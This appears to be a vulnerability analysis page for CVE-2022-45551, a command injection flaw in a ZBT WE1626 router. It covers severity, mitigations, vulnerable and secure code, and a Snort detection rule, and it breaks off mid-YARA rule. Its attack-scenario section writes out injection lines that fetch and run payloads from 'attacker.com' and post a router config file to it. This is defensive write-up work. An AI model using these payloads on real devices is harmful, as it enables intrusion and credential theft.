CVE-2022-45551
CVE-2022-45551
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
An issue discovered in Shenzhen Zhiboton Electronics ZBT WE1626 Router v 21.06.18 allows attackers to escalate privileges via WGET command to the Network Diagnosis endpoint.
CVE-2022-45551: Professional Cybersecurity Analysis
Executive Summary
CVE-2022-45551 represents a critical privilege escalation vulnerability in the Shenzhen Zhiboton Electronics ZBT WE1626 Router firmware version 21.06.18. With a CVSS score of 9.8, this vulnerability poses a severe risk to affected systems and requires immediate attention from security teams and network administrators.
1. Vulnerability Assessment and Severity Evaluation
Severity Classification
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network-based
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Impact: Complete system compromise
Technical Assessment
The vulnerability exists in the Network Diagnosis endpoint of the router's web interface, where insufficient input validation allows attackers to inject malicious commands through the WGET utility. This represents a classic command injection vulnerability that can be leveraged for privilege escalation.
Key Risk Factors:
- Unauthenticated exploitation possible
- Remote exploitation capability
- Direct path to administrative access
- Affects critical network infrastructure device
- Low technical skill required for exploitation
2. Attack Vectors and Exploitation Methods
Primary Attack Vector
Network Diagnosis Feature Abuse: The router's diagnostic functionality likely includes network testing tools (ping, traceroute, wget) accessible through the web interface. Attackers can exploit this by:
- Command Injection via WGET:
- Injecting shell metacharacters into WGET parameters
- Chaining commands using separators (
;,&&,||,|) - Downloading and executing malicious payloads
Exploitation Methodology
Typical Attack Flow:
1. Identify accessible Network Diagnosis endpoint
2. Craft malicious WGET command with injected parameters
3. Execute arbitrary commands with elevated privileges
4. Establish persistent access (backdoor installation)
5. Pivot to internal network resources
Example Attack Scenarios
Scenario 1: Direct Command Injection
# Attacker input to Network Diagnosis field:
example.com; wget http://attacker.com/malware.sh -O /tmp/m.sh && sh /tmp/m.sh
Scenario 2: Reverse Shell Establishment
# Injected command:
; wget http://attacker.com/shell.elf -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell
Scenario 3: Credential Harvesting
# Extract configuration and credentials:
; wget --post-file=/etc/config/system http://attacker.com/collect
Attack Prerequisites
- Network access to router's web interface (LAN or WAN if exposed)
- Knowledge of the Network Diagnosis endpoint location
- No authentication required (based on CVSS metrics)
3. Affected Systems and Software Versions
Confirmed Affected Products
- Manufacturer: Shenzhen Zhiboton Electronics
- Product: ZBT WE1626 Wireless Router
- Affected Firmware Version: 21.06.18
- Release Date: June 18, 2021
Potentially Affected Systems
Given common firmware sharing practices among router manufacturers:
- Other ZBT router models may share vulnerable codebase
- OEM/white-label versions of the same hardware platform
- Devices running similar OpenWrt-based firmware implementations
Deployment Context
These routers are commonly deployed in:
- Small office/home office (SOHO) environments
- Small-to-medium business networks
- Remote office locations
- IoT gateway applications
- Educational institutions
4. Recommended Mitigation Strategies
Immediate Actions (Priority 1)
1. Firmware Update
- Check for and apply firmware updates beyond version 21.06.18
- Contact vendor for security patches
- Monitor vendor security advisories
2. Network Segmentation
- Isolate router management interface from untrusted networks
- Implement VLAN segmentation
- Restrict administrative access to specific IP ranges
3. Access Control Implementation
- Disable remote management interface (WAN-side access)
- Implement strong authentication mechanisms
- Enable HTTPS-only access to web interface
- Change default credentials immediately
Short-term Mitigations (Priority 2)
4. Network-Level Controls
Firewall Rules:
- Block external access to ports 80/443 on WAN interface
- Implement IP whitelisting for management access
- Deploy intrusion detection/prevention systems (IDS/IPS)
5. Monitoring and Detection
Log Analysis Focus:
- Monitor for unusual WGET command executions
- Track access to Network Diagnosis endpoints
- Alert on suspicious outbound connections
- Implement file integrity monitoring
6. Compensating Controls
- Deploy network-based web application firewall (WAF)
- Implement command injection detection signatures
- Use network behavior analysis tools
Long-term Strategies (Priority 3)
7. Infrastructure Hardening
- Replace affected devices with patched or alternative hardware
- Implement zero-trust network architecture
- Deploy network access control (NAC) solutions
- Establish regular vulnerability assessment schedules
8. Security Policies
- Develop IoT/network device security standards
- Implement change management procedures
- Establish vendor security evaluation criteria
- Create incident response procedures for IoT compromises
5. Impact on Cybersecurity Landscape
Broader Implications
1. IoT/Router Security Crisis This vulnerability exemplifies ongoing systemic issues in embedded device security:
- Inadequate input validation in consumer/SOHO devices
- Limited security testing in development lifecycle
- Slow or absent patch deployment mechanisms
- Extended support lifecycles for vulnerable devices
2. Supply Chain Considerations
- White-label manufacturing creates widespread vulnerability distribution
- Difficulty tracking affected products across brands
- Limited vendor accountability in low-cost device market
3. Attack Surface Expansion
- Routers serve as persistent network footholds
- Ideal platforms for:
- Man-in-the-middle attacks
- Traffic interception and manipulation
- Botnet recruitment
- Lateral movement launching points
- DNS hijacking operations
Real-World Threat Scenarios
Enterprise Impact:
- Compromise of branch office networks
- Data exfiltration through trusted network devices
- Persistent advanced persistent threat (APT) presence
Consumer Impact:
- Home network compromise
- Privacy violations through traffic monitoring
- Cryptocurrency mining operations
- DDoS botnet participation
6. Technical Details for Security Professionals
Vulnerability Classification
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
- CWE-20: Improper Input Validation
Technical Root Cause Analysis
Vulnerable Code Pattern (Hypothetical):
// Likely vulnerable implementation
void network_diagnosis(char *target) {
char command[256];
sprintf(command, "wget %s", target); // Unsafe concatenation
system(command); // Direct execution
}
Secure Implementation:
// Proper implementation with validation
void network_diagnosis_secure(char *target) {
// Input validation
if (!is_valid_hostname(target)) {
return ERROR;
}
// Use parameterized execution
char *args[] = {"wget", target, NULL};
execvp(args[0], args);
}
Detection Signatures
Network-Based Detection (Snort/Suricata):
alert tcp any any -> $HOME_NET [80,443] (
msg:"Possible CVE-2022-45551 Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"diagnosis"; http_uri;
pcre:"/wget.*[;&|`$()]/i";
classtype:web-application-attack;
sid:1000001; rev:1;
)
Host-Based Detection (YARA):
rule CVE_2022_45